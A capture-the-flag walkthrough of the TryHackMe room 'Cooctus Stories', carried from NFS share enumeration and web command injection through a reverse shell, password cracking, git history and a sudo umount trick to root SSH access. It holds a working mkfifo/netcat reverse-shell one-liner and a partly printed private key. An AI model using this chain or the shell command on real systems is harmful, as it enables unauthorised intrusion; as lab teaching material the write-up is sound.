Walk-through of Cooctus Stories from TryHackMe
Machine Information
Cooctus Stories is a medium difficulty room on TryHackMe. An initial scan reveals an exposed nfs share, where we find credentials to get us access to a web application. We use that to gain a reverse shell, and from there we work through a number of users and flags gaining ssh access as we progress. We crack hashes, debug scripts and look through git commits on our way to root.
Skills required are a basic enumeration and file system exploration knowledge. Skills learned are script analysis, working with git and working with file systems.
Details | |
---|---|
Hosting Site | TryHackMe |
Link To Machine | THM - Easy - Cooctus Stories |
Machine Release Date | 20th Feb 2021 |
Date I Completed It | 20th April 2021 |
Distribution Used | Kali 2021.1 – Release Info |
Initial Recon
As always let’s start with Nmap:
┌──(root💀kali)-[~/thm/cooctus]
└─# ports=$(nmap -p- --min-rate=1000 -T4 10.10.201.142 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
┌──(root💀kali)-[~/thm/cooctus]
└─# nmap -p$ports -sC -sV -oA cooctus 10.10.201.142
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-19 20:53 BST
Nmap scan report for 10.10.201.142
Host is up (0.054s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5:44:62:91:90:08:99:5d:e8:55:4f:69:ca:02:1c:10 (RSA)
| 256 e5:a7:b0:14:52:e1:c9:4e:0d:b8:1a:db:c5:d6:7e:f0 (ECDSA)
|_ 256 02:97:18:d6:cd:32:58:17:50:43:dd:d2:2f:ba:15:53 (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 49149/tcp mountd
| 100005 1,2,3 50965/tcp6 mountd
| 100005 1,2,3 51340/udp mountd
| 100005 1,2,3 57223/udp6 mountd
| 100021 1,3,4 34355/tcp6 nlockmgr
| 100021 1,3,4 43801/tcp nlockmgr
| 100021 1,3,4 56798/udp6 nlockmgr
| 100021 1,3,4 58752/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
8080/tcp open http Werkzeug httpd 0.14.1 (Python 3.6.9)
|_http-server-header: Werkzeug/0.14.1 Python/3.6.9
|_http-title: CCHQ
38087/tcp open mountd 1-3 (RPC #100005)
43801/tcp open nlockmgr 1-4 (RPC #100021)
49149/tcp open mountd 1-3 (RPC #100005)
51395/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.31 seconds
Lot’s of ports open. Let’s add the server IP to our host file before we get started:
┌──(root💀kali)-[~/thm/cooctus]
└─# echo 10.10.201.142 cooctus.thm >> /etc/hosts
First stop as always is a look at any web servers:
Just a static image, and nothing interesting in the source code. Let’s try gobuster and look for hidden folders:
┌──(root💀kali)-[~/thm/cooctus]
└─# gobuster dir -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://cooctus.thm:8080
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cooctus.thm:8080
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/04/19 21:05:24 Starting gobuster in directory enumeration mode
===============================================================
http://cooctus.thm:8080/login (Status: 200) [Size: 556]
http://cooctus.thm:8080/cat (Status: 302) [Size: 219] [--> http://cooctus.thm:8080/login]
===============================================================
2021/04/19 21:39:18 Finished
===============================================================
We find a couple of folders, cat points to login, login gives us this:
A dead end for now as we have no credentials. Looking back at the port list we see 2049 which is an NFS port, let’s see if any shares are exposed:
┌──(root💀kali)-[~/thm/cooctus]
└─# showmount -e cooctus.thm
Export list for cooctus.thm:
/var/nfs/general *
One called general is visible, let’s try to mount it and see what’s inside:
┌──(root💀kali)-[~/thm/cooctus]
└─# mkdir nfs
┌──(root💀kali)-[~/thm/cooctus]
└─# mount -t nfs cooctus.thm:/var/nfs/general /root/thm/cooctus/nfs
┌──(root💀kali)-[~/thm/cooctus]
└─# ls -lsa nfs
total 12
4 drwxr-xr-x 2 nobody nogroup 4096 Nov 21 18:24 .
4 drwxr-xr-x 3 root root 4096 Apr 19 21:16 ..
4 -rw-r--r-- 1 root root 31 Nov 21 18:24 credentials.bak
┌──(root💀kali)-[~/thm/cooctus]
└─# file nfs/credentials.bak
nfs/credentials.bak: ASCII text
┌──(root💀kali)-[~/thm/cooctus]
└─# cat nfs/credentials.bak
paradoxial.test
<HIDDEN>
Ok well that was eventful! Let’s see if these creds work for the login page we found before:
We’re in, and now we get to look at the Cooctus Attack Troubleshoorter. I wonder what we can do with the payload box:
Clicking the submit button and what I’ve entered appears to be output to the page:
However, I tried a ping to my Kali and that seemed to pause before the output, so I’m thinking this is executing the command then output to page after. Let’s test it:
Before clicking submit I’ve started tcpdump listening for the ping. I click submit and now switch to see the server has pinged me:
┌──(root💀kali)-[~/thm/cooctus]
└─# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
21:28:39.138482 IP cooctus.thm > 10.8.165.116: ICMP echo request, id 1325, seq 1, length 64
21:28:39.138490 IP 10.8.165.116 > cooctus.thm: ICMP echo reply, id 1325, seq 1, length 64
21:28:40.141503 IP cooctus.thm > 10.8.165.116: ICMP echo request, id 1325, seq 2, length 64
21:28:40.141512 IP 10.8.165.116 > cooctus.thm: ICMP echo reply, id 1325, seq 2, length 64
21:28:41.142656 IP cooctus.thm > 10.8.165.116: ICMP echo request, id 1325, seq 3, length 64
21:28:41.142665 IP 10.8.165.116 > cooctus.thm: ICMP echo reply, id 1325, seq 3, length 64
21:28:42.144465 IP cooctus.thm > 10.8.165.116: ICMP echo request, id 1325, seq 4, length 64
21:28:42.144474 IP 10.8.165.116 > cooctus.thm: ICMP echo reply, id 1325, seq 4, length 64
21:28:43.145608 IP cooctus.thm > 10.8.165.116: ICMP echo request, id 1325, seq 5, length 64
21:28:43.145617 IP 10.8.165.116 > cooctus.thm: ICMP echo reply, id 1325, seq 5, length 64
Obvious next thing to try is a reverse shell. May as well use a PenTestMonkey classic:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.165.116 4444 >/tmp/f
I find this one works much more than most others. Let’s get a netcat listener waiting, then try the reverse shell from the webpage:
Switch to our listener and we are connected:
┌──(root💀kali)-[~/thm/cooctus]
└─# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.8.165.116] from (UNKNOWN) [10.10.201.142] 40528
/bin/sh: 0: can't access tty; job control turned off
$
Let’s upgrade to a better shell:
$ python3 -c "import pty;pty.spawn('/bin/bash')"
paradox@cchq:~$ ^Z
zsh: suspended nc -nlvp 4444
┌──(root💀kali)-[~/thm/cooctus]
└─# stty raw -echo; fg
[1] + continued nc -nlvp 4444
One thing to note, if you’re using zsh then you need to use stty raw -echo; fg or your shell will crash!
Ok let’s have a look around:
paradox@cchq:~$ id
uid=1003(paradox) gid=1003(paradox) groups=1003(paradox)
paradox@cchq:~$ pwd
/home/paradox
paradox@cchq:~$ ls -ls
total 8
4 drwxr-xr-x 4 paradox paradox 4096 Jan 1 22:03 CATapp
4 -rw------- 1 paradox paradox 38 Feb 20 20:23 user.txt
paradox@cchq:~$ cat user.txt
THM{HIDDEN}
We find the user flag for paradox, and a folder which looks to contain the CAT app running on the web server on port 8080. Let’s have a further look around:
paradox@cchq:~$ ls -l /home
total 16
drwxr-xr-x 5 paradox paradox 4096 Feb 22 18:48 paradox
drwxr-xr-x 5 szymex szymex 4096 Feb 22 18:45 szymex
drwxr-xr-x 9 tux tux 4096 Feb 20 22:02 tux
drwxr-xr-x 7 varg varg 4096 Feb 20 22:06 varg
paradox@cchq:~$ ls -l /home/szymex/
total 16
-r-------- 1 szymex szymex 11 Jan 2 14:18 mysupersecretpassword.cat
-rw-rw-r-- 1 szymex szymex 316 Feb 20 20:31 note_to_para
-rwxrwxr-- 1 szymex szymex 735 Feb 20 20:30 SniffingCat.py
-rw------- 1 szymex szymex 38 Feb 22 18:45 user.txt
So we have four users, and in the szymex home folder we found this file that is readable by paradox:
paradox@cchq:~$ cat /home/szymex/note_to_para
Paradox,
I'm testing my new Dr. Pepper Tracker script.
It detects the location of shipments in real time and sends the coordinates to your account.
If you find this annoying you need to change my super secret password file to disable the tracker.
You know me, so you know how to get access to the file.
- Szymex
And also this one:
paradox@cchq:~$ cat /home/szymex/SniffingCat.py
#!/usr/bin/python3
import os
import random
def encode(pwd):
enc = ''
for i in pwd:
if ord(i) > 110:
num = (13 - (122 - ord(i))) + 96
enc += chr(num)
else:
enc += chr(ord(i) + 13)
return enc
x = random.randint(300,700)
y = random.randint(0,255)
z = random.randint(0,1000)
message = "Approximate location of an upcoming Dr.Pepper shipment found:"
coords = "Coordinates: X: {x}, Y: {y}, Z: {z}".format(x=x, y=y, z=z)
with open('/home/szymex/mysupersecretpassword.cat', 'r') as f:
line = f.readline().rstrip("\n")
enc_pw = encode(line)
if enc_pw == "pureelpbxr":
os.system("wall -g paradox " + message)
os.system("wall -g paradox " + coords)
Reading through the script we can see it reads something from the file mysupersecretpassword.txt, runs it through a function to encode it, and checks if it matches enc_pw which should be pureelpbxr. The encoding function uses the number 13 a couple of times, so I’m thinking is it rot13 encoded. I tried pasting it in Google and got this as first hit:
Worth a try, so I found this decoder and pasted it in:
We found the password, and looking back at the script the clue is there where it mentions Dr. Pepper!
We know port 22 is open, so I tried ssh with this password and the user szymex:
┌──(root💀kali)-[~/thm/cooctus]
└─# ssh szymex@cooctus.thm
The authenticity of host 'cooctus.thm (10.10.143.94)' can't be established.
ECDSA key fingerprint is SHA256:7/RM1nMYqyZHC8ICXMcPUC3vIVlZuQab39ZsXs9Q+NI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'cooctus.thm,10.10.143.94' (ECDSA) to the list of known hosts.
szymex@cooctus.thm's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-135-generic x86_64)
Last login: Mon Feb 22 18:45:01 2021 from 172.16.228.1
szymex@cchq:~$
A quick look in his home folder get’s us another flag:
szymex@cchq:~$ pwd
/home/szymex
szymex@cchq:~$ ls -ls
total 16
4 -r-------- 1 szymex szymex 11 Jan 2 14:18 mysupersecretpassword.cat
4 -rw-rw-r-- 1 szymex szymex 316 Feb 20 20:31 note_to_para
4 -rwxrwxr-- 1 szymex szymex 735 Feb 20 20:30 SniffingCat.py
4 -rw------- 1 szymex szymex 38 Feb 22 18:45 user.txt
szymex@cchq:~$ cat mysupersecretpassword.cat
cherrycoke
szymex@cchq:~$ cat user.txt
THM{HIDDEN}
szymex@cchq:~$
I have a look in the other users home folders, in tux I see this:
szymex@cchq:/home/tux$ ls -l
total 16
-rw-rw-r-- 1 tux tux 630 Jan 2 19:05 note_to_every_cooctus
drwxrwx--- 2 tux testers 4096 Feb 20 16:28 tuxling_1
drwxrwx--- 2 tux testers 4096 Feb 20 21:02 tuxling_3
-rw------- 1 tux tux 38 Feb 20 21:05 user.txt
First let’s look at the note as we have permissions to read:
szymex@cchq:/home/tux$ cat note_to_every_cooctus
Hello fellow Cooctus Clan members
I'm proposing my idea to dedicate a portion of the cooctus fund for the construction of a penguin army.
The 1st Tuxling Infantry will provide young and brave penguins with opportunities to
explore the world while making sure our control over every continent spreads accordingly.
Potential candidates will be chosen from a select few who successfully complete all 3 Tuxling Trials.
Work on the challenges is already underway thanks to the trio of my top-most explorers.
Required budget: 2,348,123 Doge coins and 47 pennies.
Hope this message finds all of you well and spiky.
- TuxTheXplorer
It mentions 3 tuxling trials. It looks like we have two of them here called tuxling_1 and tuxling_3, I’m assuming there’s another somewhere so search for it:
szymex@cchq:/home/tux$ find / -type d -name tuxling_2 2>/dev/null
/media/tuxling_2
szymex@cchq:/home/tux$
Ok so that one was hidden in the /media folder. Let’s have a look at the first one:
szymex@cchq:/home/tux/tuxling_1$ cat note
Noot noot! You found me.
I'm Mr. Skipper and this is my challenge for you.
General Tux has bestowed the first fragment of his secret key to me.
If you crack my NootCode you get a point on the Tuxling leaderboards and you'll find my key fragment.
Good luck and keep on nooting!
PS: You can compile the source code with gcc
Looking at the nootcode.c file:
szymex@cchq:/home/tux/tuxling_1$ cat nootcode.c
#include <stdio.h>
#define noot int
#define Noot main
#define nOot return
#define noOt (
#define nooT )
#define NOOOT "f96"
#define NooT ;
#define Nooot nuut
#define NOot {
#define nooot key
#define NoOt }
#define NOOt void
#define NOOT "NOOT!\n"
#define nooOT "050a"
#define noOT printf
#define nOOT 0
#define nOoOoT "What does the penguin say?\n"
#define nout "d61"
noot Noot noOt nooT NOot
noOT noOt nOoOoT nooT NooT
Nooot noOt nooT NooT
nOot nOOT NooT
NoOt
NOOt nooot noOt nooT NOot
noOT noOt NOOOT nooOT nout nooT NooT
NoOt
NOOt Nooot noOt nooT NOot
noOT noOt NOOT nooT NooT
NoOt
At first this appears weird, but if you look closely you can see the section under the #define part is simply a search and replace for each word from the list above it. The decoded code looks like this:
#include <stdio.h>
int main (){
printf ( "What does the penguin say?") ;
nuut() ;
// I added this coded before return 0
printf("\n\n key:- \t");
key();
printf("\n\n");
return 0 ;
}
void key() {
printf("f96" "050a" "d61");
}
void nuut (){
printf("NOOT!") ;
}
This gives us the key for part 1. On to part 2:
szymex@cchq:/home/tux/tuxling_1$ cd /media/tuxling_2/
szymex@cchq:/media/tuxling_2$ ls -l
total 12
-rw-rw-r-- 1 tux testers 740 Feb 20 20:00 fragment.asc
-rw-rw---- 1 tux testers 280 Jan 2 20:20 note
-rw-rw-r-- 1 tux testers 3670 Feb 20 20:01 private.key
szymex@cchq:/media/tuxling_2$ cat note
Noot noot! You found me.
I'm Rico and this is my challenge for you.
General Tux handed me a fragment of his secret key for safekeeping.
I've encrypted it with Penguin Grade Protection (PGP).
You can have the key fragment if you can decrypt it.
Good luck and keep on nooting!
This one is nice and simple. We can just import the key and then decrypt:
szymex@cchq:/media/tuxling_2$ gpg --import private.key
gpg: key B70EB31F8EF3187C: public key "TuxPingu" imported
gpg: key B70EB31F8EF3187C: secret key imported
gpg: Total number processed: 1
gpg: imported: 1
gpg: secret keys read: 1
gpg: secret keys imported: 1
szymex@cchq:/media/tuxling_2$ gpg --decrypt fragment.asc
gpg: encrypted with 3072-bit RSA key, ID 97D48EB17511A6FA, created 2021-02-20
"TuxPingu"
The second key fragment is: 6eaf62818d
On to the last one:
szymex@cchq:/media/tuxling_2$ cd /home/tux/tuxling_3
szymex@cchq:/home/tux/tuxling_3$ ls -l
-rwxrwx--- 1 tux testers 178 Feb 20 21:02 note
szymex@cchq:/home/tux/tuxling_3$ cat note
Hi! Kowalski here.
I was practicing my act of disappearance so good job finding me.
Here take this,
The last fragment is: 637b56db1552
Combine them all and visit the station.
Ah, a give away. That was no challenge at all!
As suggested I put all three fragments together:
f<HIDDEN>2
He says visit the station? Must be crackstation as this looks like a hash:
Nice. We probably have another password, this time presumably for tux. Let’s try it:
zymex@cchq:/home/tux/tuxling_3$ su tux
Password:
tux@cchq:~/tuxling_3$
Let’s get the next flag:
tux@cchq:~/tuxling_3$ cd /home/tux/
tux@cchq:~$ cat user.txt
THM{HIDDEN}
Now we move on to varg:
tux@cchq:~$ cd /home/varg/
tuxg@cchq:~$ ls -l
-rwsrws--x 1 varg varg 2146 Feb 20 22:05 CooctOS.py
drwxrwx--- 11 varg os_tester 4096 Feb 20 15:44 cooctOS_src
-rw------- 1 varg varg 38 Feb 20 21:08 user.txt
Hmm, what is that source folder:
tux@cchq:/home/varg$ cd cooctOS_src/
tuxg@cchq:/home/varg/cooctOS_src$ ls -la
drwxrwx--- 11 varg os_tester 4096 Feb 20 15:44 .
drwxr-xr-x 7 varg varg 4096 Feb 20 22:06 ..
drwxrwx--- 2 varg os_tester 4096 Feb 20 15:46 bin
drwxrwx--- 4 varg os_tester 4096 Feb 20 15:22 boot
drwxrwx--- 2 varg os_tester 4096 Feb 20 15:10 etc
drwxrwx--- 2 varg os_tester 4096 Feb 20 15:41 games
drwxrwxr-x 8 varg os_tester 4096 Feb 20 15:47 .git
drwxrwx--- 3 varg os_tester 4096 Feb 20 14:44 lib
drwxrwx--- 16 varg os_tester 4096 Feb 20 15:21 run
drwxrwx--- 2 varg os_tester 4096 Feb 20 09:11 tmp
drwxrwx--- 11 varg os_tester 4096 Feb 20 15:20 var
A hidden .git folder, let’s look in there:
tux@cchq:/home/varg/cooctOS_src$ cd .git/
tux@cchq:/home/varg/cooctOS_src/.git$ ls -l
drwxrwxr-x 2 varg os_tester 4096 Feb 20 15:44 branches
-rw-rw-r-- 1 varg os_tester 37 Feb 20 15:47 COMMIT_EDITMSG
-rw-rw-r-- 1 varg os_tester 92 Feb 20 15:44 config
-rw-rw-r-- 1 varg os_tester 73 Feb 20 15:44 description
-rw-rw-r-- 1 varg os_tester 23 Feb 20 15:44 HEAD
drwxrwxr-x 2 varg os_tester 4096 Feb 20 15:44 hooks
-rw-rw-r-- 1 varg os_tester 825 Feb 20 15:47 index
drwxrwxr-x 2 varg os_tester 4096 Feb 20 15:44 info
drwxrwxr-x 3 varg os_tester 4096 Feb 20 15:46 logs
drwxrwxr-x 17 varg os_tester 4096 Feb 20 15:47 objects
drwxrwxr-x 4 varg os_tester 4096 Feb 20 15:44 refs
We have a git repo, we can use git show to have a look at the last commit:
tux@cchq:/home/varg/cooctOS_src/.git$ git show
commit 8b8daa41120535c569d0b99c6859a1699227d086 (HEAD -> master)
Author: Vargles <varg@cchq.noot>
Date: Sat Feb 20 15:47:21 2021 +0000
Removed CooctOS login script for now
diff --git a/bin/CooctOS.py b/bin/CooctOS.py
deleted file mode 100755
index 4ccfcc1..0000000
--- a/bin/CooctOS.py
+++ /dev/null
@@ -1,52 +0,0 @@
-#!/usr/bin/python3
-
-import time
-import os;
-import pty;
-
-#print(chr(27)+ "[2J")
-logo = """\033[1;30;49m
- ██████╗ ██████╗ ██████╗ ██████╗████████╗ \033[1;37;49m██████╗ ███████╗\033[1;30;49m
-██╔════╝██╔═══██╗██╔═══██╗██╔════╝╚══██╔══╝\033[1;37;49m██╔═══██╗██╔════╝\033[1;30;49m
-██║ ██║ ██║██║ ██║██║ ██║ \033[1;37;49m██║ ██║███████╗\033[1;30;49m
-██║ ██║ ██║██║ ██║██║ ██║ \033[1;37;49m██║ ██║╚════██║\033[1;30;49m
-╚██████╗╚██████╔╝╚██████╔╝╚██████╗ ██║ \033[1;37;49m╚██████╔╝███████║\033[1;30;49m
- ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ \033[1;37;49m╚═════╝ ╚══════╝\033[1;30;49m
-"""
-print(logo)
-print(" LOADING")
-print("[", end='')
-
-for i in range(0,60):
- #print(chr(27)+ "[2J")
- #print(logo)
- #print(" LOADING")
- print("[", end='')
- print("=" * i, end='')
- print("]")
- time.sleep(0.02)
- print("\033[A\033[A")
-
-print("\032")
-print("\033[0;0m[ \033[92m OK \033[0;0m] Cold boot detected. Flux Capacitor powered up")
-
-print("\033[0;0m[ \033[92m OK \033[0;0m] Mounted Cooctus Filesystem under /opt")
-
-print("\033[0;0m[ \033[92m OK \033[0;0m] Finished booting sequence")
-
-print("CooctOS 13.3.7 LTS cookie tty1")
-uname = input("\ncookie login: ")
-pw = input("Password: ")
-
-for i in range(0,2):
- if pw != "<HIDDEN>":
- pw = input("Password: ")
- else:
- if uname == "varg":
- os.setuid(1002)
- os.setgid(1002)
- pty.spawn("/bin/rbash")
- break
- else:
- print("Login Failed")
- break
We see there’s a password mentioned in the source code, could this be for varg:
tux@cchq:/home/varg/cooctOS_src/.git$ su varg
Password:
varg@cchq:~/cooctOS_src/.git$
Yep! Let’s grab the user flag for varg before we move on:
varg@cchq:~$ cat /home/varg/user.txt
THM{HIDDEN}
Last step is finding our way to root. For CTF there’s a few things I always check before resorting to LinPEAS or similar. One of them is sudo privileges. I checked it for varg:
varg@cchq:~$ sudo -l
Matching Defaults entries for varg on cchq:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User varg may run the following commands on cchq:
(root) NOPASSWD: /bin/umount
There is no reason for this user to have that unless it’s our intended path.
It had me puzzled for a while, but I found this really interesting article. It shows lots of ways to find mounted volumes. First I listed them all:
varg@cchq:~$ findmnt
TARGET SOURCE FSTYPE OPTIONS
/ /dev/mapper/ubuntu--vg-ubuntu--lv ext4 rw,relatime,data=ordered
├─/sys sysfs sysfs rw,nosuid,nodev,noexec,relatime
│ ├─/sys/kernel/security securityfs securityfs rw,nosuid,nodev,noexec,relatime
│ ├─/sys/fs/cgroup tmpfs tmpfs ro,nosuid,nodev,noexec,mode=755
│ │ ├─/sys/fs/cgroup/unified cgroup cgroup2 rw,nosuid,nodev,noexec,relatime,nsdelegate
│ │ ├─/sys/fs/cgroup/systemd cgroup cgroup rw,nosuid,nodev,noexec,relatime,xattr,name=systemd
│ │ ├─/sys/fs/cgroup/memory cgroup cgroup rw,nosuid,nodev,noexec,relatime,memory
│ │ ├─/sys/fs/cgroup/cpu,cpuacct cgroup cgroup rw,nosuid,nodev,noexec,relatime,cpu,cpuacct
│ │ ├─/sys/fs/cgroup/pids cgroup cgroup rw,nosuid,nodev,noexec,relatime,pids
│ │ ├─/sys/fs/cgroup/hugetlb cgroup cgroup rw,nosuid,nodev,noexec,relatime,hugetlb
│ │ ├─/sys/fs/cgroup/net_cls,net_prio cgroup cgroup rw,nosuid,nodev,noexec,relatime,net_cls,net_prio
│ │ ├─/sys/fs/cgroup/devices cgroup cgroup rw,nosuid,nodev,noexec,relatime,devices
│ │ ├─/sys/fs/cgroup/blkio cgroup cgroup rw,nosuid,nodev,noexec,relatime,blkio
│ │ ├─/sys/fs/cgroup/freezer cgroup cgroup rw,nosuid,nodev,noexec,relatime,freezer
│ │ ├─/sys/fs/cgroup/cpuset cgroup cgroup rw,nosuid,nodev,noexec,relatime,cpuset
│ │ ├─/sys/fs/cgroup/rdma cgroup cgroup rw,nosuid,nodev,noexec,relatime,rdma
│ │ └─/sys/fs/cgroup/perf_event cgroup cgroup rw,nosuid,nodev,noexec,relatime,perf_event
│ ├─/sys/fs/pstore pstore pstore rw,nosuid,nodev,noexec,relatime
│ ├─/sys/kernel/debug debugfs debugfs rw,relatime
│ ├─/sys/kernel/config configfs configfs rw,relatime
│ └─/sys/fs/fuse/connections fusectl fusectl rw,relatime
├─/proc proc proc rw,nosuid,nodev,noexec,relatime
│ ├─/proc/sys/fs/binfmt_misc systemd-1 autofs rw,relatime,fd=26,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=14925
│ │ └─/proc/sys/fs/binfmt_misc binfmt_misc binfmt_misc rw,relatime
│ └─/proc/fs/nfsd nfsd nfsd rw,relatime
├─/dev udev devtmpfs rw,nosuid,relatime,size=213660k,nr_inodes=53415,mode=755
│ ├─/dev/pts devpts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000
│ ├─/dev/shm tmpfs tmpfs rw,nosuid,nodev
│ ├─/dev/hugepages hugetlbfs hugetlbfs rw,relatime,pagesize=2M
│ └─/dev/mqueue mqueue mqueue rw,relatime
├─/run tmpfs tmpfs rw,nosuid,noexec,relatime,size=49072k,mode=755
│ ├─/run/lock tmpfs tmpfs rw,nosuid,nodev,noexec,relatime,size=5120k
│ ├─/run/rpc_pipefs sunrpc rpc_pipefs rw,relatime
│ └─/run/user/1002 tmpfs tmpfs rw,nosuid,nodev,relatime,size=49068k,mode=700,uid=1002,gid=1002
├─/opt/CooctFS /dev/mapper/ubuntu--vg-ubuntu--lv[/home/varg/cooctOS_src] ext4 rw,relatime,data=ordered
└─/boot /dev/xvda2 ext4 rw,relatime,data=ordered
varg@cchq:~$
I wondered why /opt/CoocFS is mounted and not just a folder. So tried it with -s:
varg@cchq:~$ findmnt -s
TARGET SOURCE FSTYPE OPTIONS
/ /dev/disk/by-id/dm-uuid-LVM-mrAx163lW73D8hFDlydZU2zYDwkd7tgT28ehcZQNMmzJmc0XKYP9m3eluIT1sZGo ext4 defaults
/boot /dev/disk/by-uuid/6885d03d-f1fb-4785-971e-2bb17a3d22e3 ext4 defaults
/opt/CooctFS /home/varg/cooctOS_src none defaults,bind
Interesting. I wonder if that’s the target we are supposed to unmount? Let’s try:
varg@cchq:~$ ls /opt/CooctFS/
bin boot etc games lib run tmp var
varg@cchq:~$ sudo /bin/umount /opt/CooctFS
varg@cchq:~$ ls /opt/CooctFS/
root
Clever. The CooctFS mount was hiding the root folder that was already inside. Let’s have a look:
varg@cchq:~$ ls -la /opt/CooctFS/root
drwxr-xr-x 5 root root 4096 Feb 20 09:16 .
drwxr-xr-x 3 root root 4096 Feb 20 09:09 ..
lrwxrwxrwx 1 root root 9 Feb 20 09:15 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Feb 20 09:09 .bashrc
drwx------ 3 root root 4096 Feb 20 09:09 .cache
drwxr-xr-x 3 root root 4096 Feb 20 09:09 .local
-rw-r--r-- 1 root root 43 Feb 20 09:16 root.txt
drwxr-xr-x 2 root root 4096 Feb 20 09:41 .ssh
We found the root flag:
varg@cchq:~$ cat /opt/CooctFS/root/root.txt
hmmm...
No flag here. You aren't root yet.
Ah, tricked us! However there’s a .ssh folder, so we can probably just copy the id_rsa key to Kali then use it to log in as root:
varg@cchq:~$ cat /opt/CooctFS/root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAx2+vTyYoQxGMHh/CddrGqllxbhNo3P4rPNqQiWkTPFnxxNv6
5vqc2vl5vd3ZPcOHp3w1pIF3MH6kgY3JicvfHVc3phWukXuw2UunYtBVNSaj6hKn
DwIWH3xCnWBqG6BR4dI3woQwOWQ6e5wcKlYz/mqmQIUKqvY5H3fA8HVghu7ARSre
Jz2sMB4GzqER8/G9ESan7UOtrarhvHtC+l5g2QIDAQABAoIBAC9qKRa7LqVLXbGn
<SNIP>
9ejKB+8SSAFrerw4YeNaF430jouhcNKdvdQHAHmxvKNI6dk8wwbm6ur14BgJpb9n
0NFYJEzcf2mhdsBbr5aAL3kD9Dwfq9Le2StO092i0WsjrAPO3Lwj9isFspiFltAF
gEaHHwKBgQDQQ3tLEWwGbULkIXiKopgN/6ySp23TVFHKK8D8ZXzRgxiroBkG129t
FXhWaDVCDTHczV1Ap3jKn1UKFHdhsayK34EAvRiTc+onpkrOMEkK6ky9nSGWSWbr
knJ1V6wrLgd2qPq2r5g0a/Qk2fL0toxFbnsQRsueVfPwCQWTjSo/Wg==
-----END RSA PRIVATE KEY-----
Paste the above in to a new file on Kali. Change permissions:
┌──(root💀kali)-[~/thm/cooctus]
└─# chmod 600 id_rsa
Now let’s try it:
┌──(root💀kali)-[~/thm/cooctus]
└─# ssh root@cooctus.thm -i id_rsa
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-135-generic x86_64)
System information as of Tue Apr 20 21:14:39 UTC 2021
System load: 0.08 Processes: 106
Usage of /: 35.0% of 18.57GB Users logged in: 0
Memory usage: 34% IP address for eth0: 10.10.139.176
Swap usage: 0%
Last login: Sat Feb 20 22:22:12 2021 from 172.16.228.162
root@cchq:~#
We’re in as root at last. Let’s get the last flag and we’re finished:
root@cchq:~# cat root.txt
THM{HIDDEN}
All done. See you next time.
Comments